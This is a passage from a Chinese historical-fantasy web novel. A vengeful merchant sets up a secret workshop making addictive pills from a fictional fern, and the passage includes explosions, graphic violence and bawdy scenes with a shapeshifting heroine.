孙大可遥遥喊:“兄台,可见过一个骑马的红衣女子?”
小炸药吓地跪地,忙挡在土堆前:“没,没有!”
“那刚才是什么炸了?”孙大可要策马过来。
小炸药捡块石头砸过去,恶狠狠的驱赶:“没爆炸,没见过女人和马!滚!”
孙大可皱眉,牵着缰绳掉头。
“杀人了!杀人了!”八哥嚎叫声从树林传出来。
小炸药抓起石头,胡乱砸向八哥,仓皇逃跑。
孙大可急切掉马过来。
土堆露着几块红纱裙碎片,跟小虎的一模一样!
孙大可登时跌下马,爬到土堆旁,徒手猛刨两下,挖出马尸块,再挖就是红纱裙包着的白手臂和黑长发!
孙大可吐了一地,骑上马,前去追凶。
穿过树林,有座山,爬上山坡,坡腰有个破败不堪的茅草房子。
衣衫褴褛的瞎老太太正摸索着门框,出来倒屎尿罐。
小炸药上气不接下气跑回家,抢走屎尿罐,提出枯井里的炸药粉罐,倒进屎尿罐,封紧盖子,拉出引线。
孙大可骑马追上坡。
小炸药点了引线,使劲撇出屎尿罐。
“砰——”
孙大可浑身屎尿摔下马,恶心的吐了一地。
小炸药蹦高威胁:“滚!否则我炸死你!”
见势不妙,孙大可把脏衣服撕碎,沿途绑在树上,做了路标,落荒回城。
“吱呀”一声,药堂后门推开,一双浅紫绣鞋踏进来,紫玉关门转身,头上的新簪子摇摇晃晃,她手里提着个包袱,鼓鼓囊囊。
昨夜姜凌嚣的那封举荐信,是给沈丘染的,沈丘染一早就收了紫玉做房中大丫鬟。沈老祖母知道了,派她来姜凌嚣送些体己。
紫玉谦恭地给耿正请安,满眼满嘴的羡慕:“刚在胡同口,小虎姑娘策马而过,真叫一个潇洒。三爷真开明,允许女子自由闯荡。”
耿正惜字如金,不置可否。
账房内公事未完,紫玉知趣不进门,自觉进到偏房,烧水冲茶,翻出碟子,摆好带来的各式点心。
约莫快一个时辰后,账房门开,账房先生出门,紫玉立刻端起茶点进门,看见坐在书桌后的姜凌嚣,跪下叩头谢恩:“要不是您的保举,我还在养马。
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”
高垒的账本中,姜凌嚣漫不经心的微微颔首,继续翻账。
紫玉起身,边说五爷今儿一早就去宫里报到了,边打开老太太给的包袱,一样样拿出来。
几件华贵女式衣料,是给小虎姑娘的;
姜凌嚣做生意缺钱,加上不久前遭遇暗杀受了重伤,需要好好保养身子,老太太给他一万两银票和两盒合沁丹。
正说着,窗外传来一阵凄厉的狗叫,姜凌嚣皱眉,起身出门。
院子里趴着一只流血的大黄狗,小伙计蹲在狗旁边哭。店里养了三年的狗跑出去,被无良的马车轧断了前腿,奄奄一息。
姜凌嚣丢出帕子让小伙计擦泪,亲自抱狗到屋,命人烧热水烫剪刀,一点一点帮狗剪掉压碎的皮肉,接上骨头,敷药包扎。
狗虽救活,但疼得乱哼哼,姜凌嚣不忍,命紫玉化了一丸合沁丹,端来给狗喝下止痛。
紫玉端来药碗,安慰小伙计:“这药四两金子一丸呢,爷眼都不眨一下就喂给你的狗,别伤心了。”
小伙计惊地止住抽噎,伸长脖子盯着药碗:“这是神丹?这么贵!”
紫玉笑着解释:
“前些日子,合沁丹的牛掌柜失踪了,家里散尽银钱找人,人没找到不说,连合沁堂也败光歇业,这丹便绝世了。
可这丹止痛安眠有奇效,比药还管用,吃惯了的人,压根就断不了顿。所以,现在炒到四两金子一丸。”
牛掌柜是京城名商,连宫里都用他的药,正当红。许多人就算不认识他的脸,也听说过他的红玉大扳指,价值连城,天天戴在大拇指上招摇过市。
不知哪句话触动了姜凌嚣,他若有所思片刻,让小伙计到账房先生那里领一钱银子,用来今后料理狗。
小伙计破涕为笑出门。
姜凌嚣端起药碗,吸了下鼻子,计上心来。
已知灭门真凶势力强悍,隐于朝中,想要揪出狐狸尾巴,必须打入朝廷。
对于一切从头开始、籍籍无名的姜凌嚣,成为牛掌柜那样的名流商人,广结官员,是最迅速、最安全的途径。
紫玉察言观色,悄悄出门。
耿正进门,姜凌嚣二胡不说,递过药碗。
耿正江湖深,一嗅便立刻断定:“加了麻沸散。”
姜凌嚣冷哼:“怪不得吃了能止疼安眠,把人麻醉了,吃多了还致瘾,断不掉。”
耿正鄙夷:“真是为了敛财,不择手段。听说牛掌柜失踪了,不知道是因为绑票劫富,还是被人发现了丹中秘密,打击报复了?”
姜凌嚣露出一丝诡笑,答非所问:“牛掌柜的剂量和配方不高明,而我们能做到高明。姜家起死回生,就靠丹了。”
耿正的小三角眼猛地瞪圆:“暴露风险太大。”
姜凌嚣将丹汤倒在花盆:“我不做加麻沸散的丹。”
耿正点头称是:“符合你的低调沉稳。”
姜凌嚣捻碎剩余的丹,丢掉,笑得颇有深意:“我加京城人没见过的。”
“什么会是京城人没见过的?难道是······地藏蕨?”耿正震愕。
姜凌嚣阴森:“正是。”
话落,他鼻翼翕动,眉头紧皱。
孙大可散发着恶臭,跌跌撞撞进门:“不好了,小虎被炸碎了!”
5. 地藏蕨
破茅草屋,小炸药刚舀起一勺稀里咣当的野菜粥喂到瞎老娘嘴上,就被耿正薅住头发扔出门,一路“咣咣咣”踢下山,滚到湖岸边,扑在姜凌嚣的脚下。
姜凌嚣踩住小炸药的手指,狠狠一碾,“你把人埋在了哪里?”
“就这里!”小炸药痛苦指认埋葬小虎的地方。
孙大可停住铁锹,气喘吁吁:“我都挖了,根本没有。”
整个岸像搅乱的面絮,摆了一地马的尸块和红衣碎片,没有一块人尸。
小炸药懵了:“我对天发誓,那女人真的就埋在这里!也许,她被野狗吃了?”
耿正拔刀,准备一刀灭口。
晴空闪过一道寒光,“啪”的一声,像粗壮的绳子被割断,一条强劲血柱飞喷。
小炸药大腿内筋被挑断,筋头在血肉模糊中鲜活乱颤,转着圈狂喷血不止。
在场的每个人,脸上都被喷了一脸热乎的粘稠血腥。
姜凌嚣抢刀行凶,一改往日斯文,青面狰狞:“一刀就死,太便宜了你。我要让你们母子看着对方,被我活剐成鳞片。”
夕阳灼烧天际,晚霞红到发紫,弯曲向上的山脊上茅草房下,三个人影伫立,一个下跪。
“求求你们,放过我娘!”小炸药对姜凌嚣磕头,眼睛却瞥向炉口。
孙大可进门去抓瞎老太。
小炸药猛地抓了一把带火炉灰,扑向枯井,拽出炸药罐点燃,扔向姜凌嚣,“还活剐?爷爷先炸死你!”
一个水桶飞速扣住炸药罐,水熄灭引线,罐子摔个稀巴烂。
耿正揪住小炸药,“啪啪”扇头:“枯井里藏着炸药,我第一次来找你的时候就发现了。”
“爷爷请住手!”小炸药边求饶边往后躲,不小心碰倒了水缸。
水缸咕噜咕噜滚下山坡,甩出几片红纱碎片。
姜凌嚣眸光一动,立刻追下坡。
水缸磕在石头上,停住。
姜凌嚣扳正水缸。
小虎全须全尾坐在水缸里!睡眼朦胧,光溜溜的身上沾着几片红碎纱。
姜凌嚣小心翼翼抱小虎出水缸,脱下外袍将她裹严,摸摸她身上,检查伤情。
小虎睁眼醒来,以为是姜凌嚣逗她玩,嘻嘻笑,也回手一通乱摸。
姜凌嚣将她一把推开,敛紧表情:“你真的被炸碎了?怎么又出现在水缸里?”
她虽然化有了人身,但还保存着一定的妖性,怕毒不怕受伤,很快愈合了。她寻着小炸药的臭味寻到了门口报仇,但因为刚恢复体力不支,倒在缸里呼呼大睡。
姜凌嚣将食指轻抵在她嘴上:“嘘,以后不能在任何人面前提妖的事。”
“啵”,她调皮地亲了下他的食指。
姜凌嚣检查一遍小虎着装,确信不会再露春光,这才转身上坡。
小虎蹦跳跟在他身后。八哥不知从哪飞来,落在她肩头。
重回破草房,小虎跳到小炸药面前,破口大骂:“X你大爷的,吓死我了!”
这女人竟能死而复生,小炸药吓地跌坐在地。
孙大可亲自挖出过小虎的断手,而今却见小虎伸手逗鸟,更是震惊得连连后退。
耿正眼中虽闪过诧异,但不问缘由。
草房门口,开着三株妖艳欲滴的红花,红的诡异,像地狱里窜出的火焰。
姜凌嚣指着红花,褪去之前的冷酷无情:“你家怎会有地藏蕨?”
地藏蕨,西南边境往南才有的植物,竟出现在了京城,很不寻常。
姜凌嚣为刀俎,小炸药这条臭鱼烂虾当然知无不言。
顺着这个坡往上,山顶曾有个野观,住着一帮来路不明的野道士,成天炼丹。小炸药在观里打杂,混个肚圆。
去年,观里种了一大片地藏蕨,成熟后,道长鬼鬼祟祟割了地藏蕨,取植株伤口流出的白色浆液。
一次,小炸药躲到炼丹房房梁上偷懒睡觉,忽然闻到一股奇异的味道。
他向下偷瞄,道长用白色汁液熬出了黑胶,加到丹料中。
成丹后,道长吃了一颗,脸上浮出飘飘欲仙的红润,自此之后天天服用,人都温和了许多,不大打骂人了。
小炸药便知道那草果有奇效,趁道长不注意,偷了三粒种子藏在耳朵眼,带下山,撒在了门口。
姜凌嚣:“那群道士呢?”
“全死了。”
前不久,瞎老娘生病,小炸药想下山照顾娘,师兄不许,还拳打脚踢催他炼丹。
恰好此时道观来了贵客,道士们忙着应酬,小炸药报复性的将倒丹料胡乱混合,一股脑倒进炼丹炉,封死炉口,偷溜回家。
谁成想,封死的丹炉变成威力炸弹,道观炸烂,一个活口都没留。
姜凌嚣讥讽:“师父死绝,你也算关门弟子了。”
阴差阳错,小炸药无师自通了制炸药,通过炸鱼练手过几次,威力越来越大,炼丹是本职工作,更是不在话下。
小炸药没听出好赖话,认真:“嗯,师门手艺传下来了。”
耿正无语地翻个白眼。
姜凌嚣:“用地藏蕨熬胶,你会吗?”
小炸药在房梁上偷窥过好几次,早看会了。
对于有用的人,姜凌嚣另有态度,不止用金贵的金刚露医好了小炸药腿伤,还给了一份养活他们母子的活计。
瞎老娘竟也有着落,小炸药心一横:“今后你让我干啥就干啥。”
“别今后,就现在,做七罐炸药。”耿正传达姜凌嚣指令。
配出七罐炸药,姜凌嚣取出一罐留下,其余的全让小炸药背着,耿正提个铁锹:“带路,去道观。”
道观断壁残垣,只剩个遗址。
对着遗址,耿正眯起一只眼,伸出个大拇指,上下左右比量了一圈,选出五个点,命令小炸药:“挖坑。”
围着遗址外缘,一共挖了五个坑,每个坑都放个炸药罐。
最后一罐炸药,放在遗址中央。
完工,耿正指着二十米开外的树:“能跑多快跑多快,能爬多高爬多高,否则爆炸后的热浪能把你烤熟。”
小炸药拼命跑远。
耿正掏出火折子,点火。
引线滋滋燃烧起来,草丛里闪过一道红光。
耿正扒开杂草,捡起片红色碎玉。
蹲在树上的小炸药,眼见引线烧到了头,急地大叫:“快点,要炸了!”
耿正不急不慢走了几步,才一个鹞子翻身。地下同时“轰”的一声巨响。
六罐炸药齐爆,地动山摇,乱石飞走,霾云蒸腾,几行飞鸟登时烤熟掉落。
浓烟漫延过来,呛的小炸药咳嗽:“老头不炸死也该烤熟了!让他打我,该!”
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“咚”,耿正落在小炸药蹲着的树枝上,毫发无损,“不但没烤熟,还能把你揍熟。”
小炸药:“……”
往下眺望爆破点,间距一致,小炸药赞叹:“没用尺子量,我以为你让我胡乱挖的坑,怎会算的如此精准?”
耿正得意笑笑,不解释,跳下树。
小炸药跳下来跟上:“道观早就夷为平地了,怎么还要炸?今后只会寸草不生。”
耿正这次回答了:“就是要斩草除根,寸草不生。”
一老一小回到破草房前,一辆豪华马车停在门口,孙大可正扶瞎老太登车。
自己在前方卖命,老娘被妥善安置,果然说到做到,小炸药对姜凌嚣投去感激钦佩的眼神。
姜凌嚣递过火折子,微笑着让小炸药进屋:“进去你就知道该点什么。”
屋里正中央,摆着第七个炸药罐。
姜凌嚣这个伪善混蛋,竟然要他亲自炸了自己的家。
小炸药流着泪,细细扫视屋内,最终点了引线,跑出来。
女人们坐车,男人们纷纷跨马。
“咣——”的爆炸,茅草屋炸成碎片,噼里啪啦砸到轿厢。
八哥受惊,扑扑乱飞,学了小虎的脏口:“X你大爷的,吓死我了!”
耿正赶上姜凌嚣的马,递出红色碎玉。
是个红玉扳指的一角,色泽上乘,传闻中的牛掌柜的。
姜凌嚣猜测,真相应如此——
加了麻沸散的合沁丹,已满足不了牛掌柜的敛财欲望,他勾搭上野道士,想炼药性更强的地藏蕨丹药。
却在某天拜访时,意外死在爆炸中,尸骨无存。
而凶手小炸药浑然不知,牛家人还在苦苦寻人。
风尘仆仆回到药房,姜凌嚣一脚踏进账房,噼里啪啦的算盘声一直响到后半夜。
伙计唉声叹气:“老东家死了,留下个空壳,药店算是日落西山,没救了。”
翌日清晨,伙计们自觉地卷了铺盖集合到院子里,等着遣散回家。
果然,真是念名字发盘缠,拿到钱的伙计离开。
没领钱的伙计们背着铺盖,愣在院子:“钱不够打发我们的了?”
当初沈万湖霸占药房,所有叛变伙计今日清退。
二掌柜吕富全却不畏强权,藏了几坛名贵细料,护产有功,升做大掌柜。孙大可嘴密心细,由杂役升做堂头。
药房正式更名为“玄虎堂”。
留用的伙计们惊诧:“咱店都没钱没药了,还敢开业?”
姜凌嚣:“不光开业,往后二钱月薪升为三钱。”
“还涨了?”伙计们难以置信。
姜凌嚣走到院子中央,朗声宣布:“不光涨月钱,到年底我还给每人发三薪!”
伙计们纷纷甩铺盖在地,攥拳:“誓死追随东家!”
姜凌嚣满意颔首,叫了京城最好的酒席到药店,犒劳伙计。
灾荒年月,伙计们吃了个酒足饭饱,东倒西歪,嗝鼾起伏。
打点好伙计,姜凌嚣令人备马,要连夜南下,回归姜家老宅。
吕富全颇为吃惊:“仇还没报呢,就这么走了?”
起死回生后,人生复仇最大,就要下一盘大棋,打入朝廷,挖出灭门凶手。
姜凌嚣目光狠远:“我要朝廷请我回来。”
6. 玄虎丹
马不停蹄,踏川淌河,翻山越岭,昼烧夜烬二十余次,终到达大峪国西南边陲康凌郡,人马风尘仆仆停在姜宅。
康凌郡地质构造独特,地无三里平,四处环山,姜家大宅依山傍水而筑,分东西两苑。
西苑广阔平坦,是马场,养近百匹壮马。北边贴山盖了一排屋,安置姜家马帮,住着四五十余名壮汉。
东苑是姜家主人院,三层高楼,前庭后院,后院以山作墙,可直接上山。
姜凌嚣将姜老妇夫的墓安置在后山,日日素衣净手供奉,立志有朝一日揪出幕后真凶,杀其谢罪陪葬。
复仇,需要韬光养晦,声东击西,最后一击致命。
因此,明面上,姜凌嚣只安心打理马帮与药房,整天拿着算盘拨弄算账,一副勤苦的“小老财”模样,甚为没威胁。
暗地里,却在马不停蹄布局。
先是地藏蕨汁的来源,大峪国南下的藩国棉涤,千里迢迢,气候多变,每次马帮运输,都冒着被抢劫和原料变质的风险。
熬制地藏蕨胶产生的黑色污水味道刺鼻,在人口众多的地方十分容易暴露,耿正不停勘测考察,最终选中离姜府百余里地外的一个山洞,作为炼丹房,隐蔽,僻静。
一到深夜,趁全宅熟睡之时,姜凌嚣就深入后山,来到山洞,配制丹料,研发秘方。
地藏蕨只是辅料,气味极其特殊,需要丹料来掩盖。
小炸药精通炼地藏蕨胶、炼丹,但只会按部就班方子,从“关门师父”那里偷来的手艺炼出的丹,味道巨大,品质粗糙,如果上市,完全不会有人买账。
姜凌嚣在医术高超的外婆身边待过五年,算得上医术精湛,今晚,他拼尽医学所能改良丹方后,将丹料投进炼丹炉。
炉火熄灭,他一脸期待打开炉口,看到成丹,大失所望。
多次调试丹方,均以失败告终。
正在姜凌嚣一筹莫展时,他耳朵一动,洞口外一阵窸窣的脚步声,往洞里快速走来。
如此隐蔽的山洞,被人发现了?还是野兽?
姜凌嚣抓起剑,贴到洞壁上。
一个人影刚走到洞内,就被一剑抵住后背,姜凌嚣阴沉:“你是谁?怎么发现的这地方?”
老妇转身,黑发白眉。
姜凌嚣惊异:“马帮的队医?”
马帮的壮汉们走南闯北贩货,时常遭遇小病小伤,有个唤作“白眉老太”的队医,随队行医二十年有余,无人知晓她姓名,年龄,身世,十分不起眼。
姜凌嚣阴沉:“你怎么找到的这里?”
白眉老太欠身:“老身来投靠少东家,助您炼制地藏蕨丹。”
姜凌嚣清纯无辜:“什么地藏蕨?不明白你在说什么。”
白眉老太一笑,走到炼丹炉前,端起失败的丹料闻闻,直言不讳:“你在用地藏蕨炼丹,药效比加了麻沸散的合沁丹还要猛。”
姜凌嚣变脸,挥剑阻断出路。
白眉老太丝毫不怵,拿起桌上的瓶瓶罐罐,重新配料,加进地藏蕨胶,送进炼丹炉。
炉火熄灭,白眉老太拿了个托盘接在出料口,打开闸门。
“当啷当啷”一串响声,圆滚滚的成丹落入托盘。
白眉老太捏起一粒丹:“看看成色。”
姜凌嚣缓缓上前,捏起成丹,对准洞壁上的火把观摩。
成丹莹润剔透,隐隐透着琥珀色,嗅起来毫无地藏蕨异味,只有淡淡的草药苦香,是为上乘。
想不到,老太太是个隐藏的高手。
姜凌嚣面露隐喜,继而敛紧表情:“你有什么条件?”
白眉老太双眼放光:“我有一个仇人在京城,东家有朝一日回京时,请带我入京。”
姜凌嚣不太信:“你也可以自己去京城。”
“仇人势力太大,名声又好,我要守护的人又还没和他彻底决裂,不可冒冒然下手,我需要东家的掩护。”
说不定,自己与白眉老太的仇人有重合,姜凌嚣应允,拿到了秘方。
——
又到夜晚,姜宅上下灯火辉煌,一群丫鬟围着小虎,教她打麻将,嘻嘻哈哈闹作一团,甚为温馨。
而一墙之隔的后院往上的山,漆黑绵延的几里地外,山洞洞口发着幽幽的光,像黑兽的独眼,恐怖阴森。
往里去,洞壁曲折,墙上挂着火把,走到尽头,灯火越辉煌,空间越开阔。
贴着墙壁,摆着个与人齐高的大型炼丹炉,小炸药将一盆地藏蕨胶倒进大木桶,用棍子搅拌均匀后,送进炉口。
“轰”,炉内火焰烧起,小炸药和耿正的脸跳跃在火光中,表情期待而焦灼。
半个时辰后,“噗”的一声,炼丹炉熄火,两人赶紧上前检查,屏住呼吸。
闸门一开,“哗啦哗啦”成千上万粒丹涌出来。
“成功了!”小炸药兴奋地投进嘴里一丸,跳到耿正身上大叫:“哇,起效了,药效越来越大了······”
耿正嫌弃地一把推倒小炸药。
小炸药拍着胸脯,自吹自擂:“养兵千日用兵一时,只要有足够的地藏蕨,我就能一直不停歇地炼!”
黑暗里,一只黑影缓缓起立,挡住火光,逐渐吞噬整个山洞的光明。
原来,姜凌嚣一直坐在黑暗中。
他摘下墙上一个火把,照亮刚才坐着的位置。
一墙的木桶,一个摞一个,足有上百个。
耿正上前,拧开桶盖,朝小炸药打个响指。
小炸药头晕目眩,歪歪扭扭绕了个打圈才走过来,低头一看,惊呆了。
桶内全是乳白的浆液,散发着神秘莫测的味道,吸入鼻腔,熟悉的眩晕······
地藏蕨汁!
曾经,道长种满道观的地藏蕨,全部收割也不过一锅汁液,熬成胶也就枣大,搀在丹里都供不上顿。
这里竟然有上百桶,那得熬多少地藏蕨胶?!再搀进丹里,那得造出多少药丸!多少人会为之上瘾、疯狂!
怪不得姜凌嚣要炸毁种过地藏蕨的道观,将别处斩草除根,因为他要独掌无穷无尽!比京城牛掌柜还要贪婪地搜刮别人口袋里的金钱!
小炸药毛骨悚然,打个寒颤,药劲扩散全身。
他一把抱起百余斤的大木桶,跑到炼丹炉前,疯狂开炼,不知疲倦,还嗷嗷唱歌。
耿正惊讶:“这个懒熊,平时鞭子抽打着才干活,吃上丹跟牛似的,看来地藏蕨真够毒的。”
姜凌嚣:“看住他,不许他再吃一粒丹了。”
“嗷呜——”小炸药不受控地学狼叫。
耿正摇摇头上前,抻开条白绫,拴紧小炸药的嘴。
姜凌嚣回到姜宅,小虎的贴身丫鬟前来禀告:“按照您的吩咐,已经教会了小虎姑娘打麻将,保证她最近不会缠着您,耽误您的事。”
——
刚学
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会麻将,小虎上瘾得很,跟家里丫鬟打够了,她跑出去广交好友,结识了一帮麻将搭子。
这些富贵闲女人,不是俏姨太太就是娇小妾,一个比一个有颠鸾倒凤的本事,没甚正行,净说些骚话。
“虎姑娘,姜少东家我见过,那真叫一个风流万种,听说武功也好,都说会武功的男人呐力气也大,那熄了灯,岂不是······”
“看着越一本正经的男人,被窝里花活越多!”
下流话勾的小虎心痒难耐,但想到姜凌嚣整天不近女色,严防死守,她用麻将牌挠挠头:“怎么让他进我被窝?”
有个唤作杨柳红的,是青楼出身,神态妖艳动人,她附耳教小虎香闺驭男术,如此如此,那般那般,说话间还翘指捏住小虎手腕内侧,来回搓磨。
小虎被撩拨得浑身燥热,逮住杨柳红手脖子亲了一口。
女人们哈哈大笑:“亲她干嘛?回家亲姜少东家去。”
小虎立刻扔了麻将,马不停蹄狂奔回家,下马就找姜凌嚣解馋。
已到晚饭时辰,一楼饭厅上了灯,桌上摆满饭菜,还未开动,姜凌嚣坐在饭桌边看账本,边拨弄算盘,神情投入,目不斜视。
可小虎悄悄一走近,姜凌嚣就收了账本,并不转头,似是后脑勺长着眼睛:“脸这么红,受风寒了?”
小虎在姜凌嚣身后站定,低头,把下巴磕在他肩头,噘噘唇:“我要跟你亲嘴。”
“啪”,姜凌嚣拿筷子敲了她的嘴。
登时嘴齁麻。
小虎不死心,学着杨柳红摇头摆尾,抛着媚眼乱哼哼,单指勾起姜凌嚣腰带,直往卧房拉。
姜凌嚣岿然不动,垂眸注视着她。
小虎使出大招,拉下一侧衣襟,露出半截酥肩,映在红灯笼下,更添春色。
烛火跳了一下,屋内明暗交替,气氛忽然跃动难安,姜凌嚣鸦睫微翕,唇线抿紧,他终于起身。
她拖一步,他趋一步,不主动,不抗拒,斯文平静,似是肯受她的摆布,又让她拿不准怎么凌弄。
进到卧房,姜凌嚣瞬间态度大变,反脚踢上门,自行解了腰带,先站到床前,抖开叠得整齐的被子。
他劲甩腰带,“啪”抽了下被子,命令:“躺好。”
小虎刹时把自己扒了个溜光,躺在红绸被上,像蛇一样扭动光洁的胴体:“快来吃了我!”
姜凌嚣却没再脱衣服,俯身过来。
小虎含春闭眼要接受拥抱,却被他用腰带连人带被子捆了个结实,她在被窝里使劲蛄蛹:“奇耻大辱!姜凌嚣,看我早晚X你!”
那只死八哥,想逗它时找不到,不该出现时,它不知又从哪儿冒出来插嘴:“早晚X你!早晚X你!”
小虎哈哈大笑:“好鸟,好鸟!再喊一遍!”
姜凌嚣捻起一粒花生,堵住八哥的嘴,对着小虎立誓:“休想,我绝不会碰一个杀人犯。”
一个时辰后,小虎折腾够了睡下,她只要不闹了,丫鬟们也就能休息了。
灯火通明的姜宅,一层层熄了灯,姜凌嚣转身走出大门。
大门外,一辆辆马车载着打包成盒的丹,要运往药房,明日上市。
耿正提醒:“上市前,需要给丹起个名字。”
姜凌嚣沉吟片刻,忽然玩味一笑:“就叫玄虎丹。”
马车拉走了玄虎丹,姜凌嚣望着消失的车影,忧虑重重,造丹不易,卖丹呢?
7. 飞鸽密函
清晨,微风澜澜,雾露濛濛,三层木楼前的庭院中竖着个木人。
木人头上长满青苔,像是头发,冷不丁一看,恍若是个活人站着,一动不动,说不出的诡异阴森。
一个修长月白色身影跃在半空,闪转飞旋,手中的蛇肠剑“咻咻”劈杀着木人旁边的空气。
小虎趴在二楼栏杆,握拳指挥:“砍头啊!”
直到收剑入鞘,姜凌嚣都没动木人半分。
小虎按捺不住跑下楼,拖过劈柴堆上的大砍刀,对着木人脖子就是一刀。
木头脑袋骨碌骨碌滚到地上,像真砍了活人的脑袋。
逢杀戮就兴奋,小虎毁人不倦:“为什么要练剑?因为要杀人!看见了吗?刀落必须头掉!”
姜凌嚣纠正:“练剑是为了防御,不是为了杀人。”
小虎烦了:“难怪你爹你兄弟骑在你头上拉屎,因为你连个屁都不舍得嘣他们脸上!要是我,非把他们的脑袋砍下来,挂到门口当灯笼!”
“嗖”,小虎只觉提刀的手猛然轻快,一转头,刀已砍在了木人的心口上。
姜凌嚣真动起手来,快到看不清动作,仿佛另有他人作祟。
小虎拍手叫好:“有进步,以后就这么杀人!”
姜凌嚣躬下腰,把脸低到和小虎一样高的位置,挑动一侧眉毛:“我是生意人,主张靠收买降服别人。直接杀人,是下等手段。”
一只脚带紫铜细环的白色信鸽盘旋上空,小虎招呼:“乖,下来,我烤烤你。”
姜凌嚣翻身一跃,落在二楼书房门口,打个响指,白鸽落在他肩头,他转身推开书房门,取下鸽脚上的密函。
紫玉来信告密沈家近况,凭借沈三少之死沈氏兄弟获得的官职,各人已走马上任,沈丘染更是兼任钦差,奉皇命南下查抄贪官污吏,已到康凌郡周边县城。
小虎推门进来,不服气:“鸽子凭啥听你的?”
姜凌嚣立刻点燃密函,火焰漫延,在修长泛白的指节间翻转,有种玩弄鼓掌间的操纵感。
信纸化为了灰烬,才想起来她不识字,完全没必要如此紧张,他不由笑了一下,嘴角笑弧括进金灿晨光,他本清冷的五官辉映出淋漓尽致的动人。
小虎莫名心痒难耐,舔舔嘴唇:“给我亲一下。”
姜凌嚣起身离桌,踱到小虎面前,轻轻歪头,望她的眼神很深,伸出拇指,点在她的嘴唇,来回轻拭,形同挑逗。
小虎浑身燥热,不由闭上眼,噘嘴。
手指却收起,人走了。
小虎追出去索吻,迎面撞见丫鬟们捂嘴偷笑,她烦躁:“笑什么?你们吃到男人嘴了?”
丫鬟们忙拥着小虎去照镜子。
该死的姜凌嚣,抹了她一嘴纸灰!
——
“玄虎丹”在京城和康陵郡各药房上市,初面世即广受欢迎,姜凌嚣商人身份塑造渐露头角,引起当地官场注意,复仇似乎成功走出了第一步。
可同时,触犯了本地药房同行利益。
午间,姜宅大门口,小虎刚拉马外出,就撞见俩猥琐人。
一个彪汉盘着掌旋球,正对着门口石狮子滋尿,朝小虎抖抖丑玩意儿,“见过这玩意儿吗?”
小虎厌恶:“丑东西。”
牛二上前捏了下小虎下巴:“姜凌嚣呢?”
“找他干嘛?”
彪汉甩甩丑东西:“和他比比大小。”
上门送死,小虎的大砍刀饥渴难耐,分外热情带路。
街市在百里之外缩成一点,眼前深林越来越荒无人烟。
俩男跟在背后猥琐偷笑:
“荒山好,这丫头脸俏心笨,正好把她······”
“哥哥先来!”
“弟弟先!”
小虎听见了,回头大笑:“一起来!”
山洞炼丹房里,因耿正外出不在,姜凌嚣前来亲自监工。
刚把地藏蕨胶拌进丹料,小炸药又急急忙忙去拉稀。
深林多蛇,且有毒。小炸药刚蹲进草丛,就被突然冒出的蛇啃在了屁股上,他连个救命都来不及喊,直撅撅倒下。
小炸药却左等不来,右等不见,姜凌嚣以为他又在偷懒,渐生怒气,准备出洞寻找。
还未走出洞口,只见小虎迎面骑马而来,后面跟了两个骑马的男人,面相不善。
不想在这里撞见姜凌嚣,小虎喜出望外,在马背上大叫:“这俩狗东西找你,我骗他们来杀······”
话音未落,马蹄踩到布满落叶的陷阱,连人带马摔坠到地底下。
“操,居然想杀我们?正要找你算账!”彪汉掷出两个掌旋球,直直射向姜凌嚣。
姜凌嚣往洞中一闪,“咚、咚”两声,铁球夯进石头。
俩货提弩拔剑下马,追进洞里,嗖嗖射箭。
山洞堆满原料和炼丹工具,武功无法施展,蛇信针也没带,姜凌嚣退无可退。
彪汉举强弩对着姜凌嚣的脖子:“敢动,我一弩射死你!”
姜凌嚣束手就擒,牛二薅走他腰间的皇家玉佩,系在自己腰间嘚瑟。
炼丹炉正在燃烧,地藏蕨味道四溢。
牛二不停吸溜鼻子,寻到一个黑乎乎的盆子,惊叫:“二哥,地藏蕨胶!好纯的成色!”
姜凌嚣惊了一身冷汗,才刚起步,就被识破了。
彪汉掏出个马铃铛掰开,扔给牛二:“把胶抹进去,回家让药师研究研究,怎么熬成这种成色。”
牛二抹完胶,将铃铛系在马脖子,刚回到洞里,只听“哗啦”一声,炼丹炉里上千粒丹倾斜而出。
姜凌嚣咬牙切齿,小炸药粗心大意,忘记关闸门!
牛二捡起一粒丹,使劲嗅嗅,“怪了,炼丹时有地藏蕨的味道,为什么成丹没有?”
猜出对方是同行,姜凌嚣心生一计:“放条生路,我可以教你们。”
彪汉和牛二左右夹击姜凌嚣要害,将他挟持炼丹炉旁,“快点教!”
姜凌嚣镇定地往炉膛添柴:“炼丹,火候是关键。”
彪汉和牛二斜眼去看。
姜凌嚣又拿过一个土陶罐,对准炉口,“祛除地藏蕨味道的香料,其实很家常,你们一闻便知。”
牛二和彪汉一起凑过去闻。
土陶罐扔进炉膛,姜凌嚣一个闪跃到洞口,搬过大石板堵住洞口,死死压在石板上。
反应快的彪汉随即追到洞口,但被大石板堵住出路。
石板与洞口封合不严,形成个豁口,彪汉伸出只握着箭头的手,对着姜凌嚣“咚咚”乱戳。
姜凌嚣偏着头,躲过乱箭。
“砰——”
炼丹
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炉爆炸,地动山摇,洞口的树连根拔起,倒塌砸下,带起瀑布般的泥土。
想杀他的那只手,耷拉了,一动不动。箭头插在石板里,正是姜凌嚣之前咽喉所在的位置。
土陶罐里是炸药,没跑出来的牛二当场灰飞烟灭。
最反对杀人的姜凌嚣,一下杀了两个人。
他不敢打开石板查看死人,面如白纸,不停喘息,久久不能平静。
陷阱里布满削尖的竹子,马被戳成蜂窝,小虎腹部也被戳了个大洞,人马一齐冒血。
姜凌嚣跳下陷阱,抱起小虎,轻功一跃,落到地面,拍她的脸,嘶吼:“小虎!小虎!”
小虎似是睡了一觉,迷迷瞪瞪睁眼,嗖一下从姜凌嚣怀里弹跳起来,已成了没事人。
上次炸碎了都没事,何况只是肚子上戳个洞。
“哎,那俩人呢?”小虎还在惦记杀生,往洞口去。
“早走了!”姜凌嚣生怕她看到自己做了凶手,强行将她抱到自己马背上。
旁边有头毛驴,小虎非要骑驴:“这不是小炸药的坐骑吗?他也来了?”
山洞后的草丛里,小炸药四肢僵直,面目紫黑,露着个屁股。
小虎捡了个破筐,一脚把小炸药踢进筐里,把筐拴在驴上,拉着姜凌嚣的马狂奔,“回家给他个大夫去!”
杀人现场没有及时清理,就抛在了原地。
——
宅中上下熄了灯,渐入梦乡,天高月明,姜宅大门竖着几个黑影,砰砰砸门。
下人们惊醒,忙打灯笼操刀,围到大门口。
几番对话后,宅门大开,院中轰轰隆隆,来者阵仗不小。
管家隔门禀报:“东家,京城沈家五爷沈丘染猝然造访。”
卧房门开,姜凌嚣穿戴整齐下楼迎接,紫玉眼神热切,他视而不见。
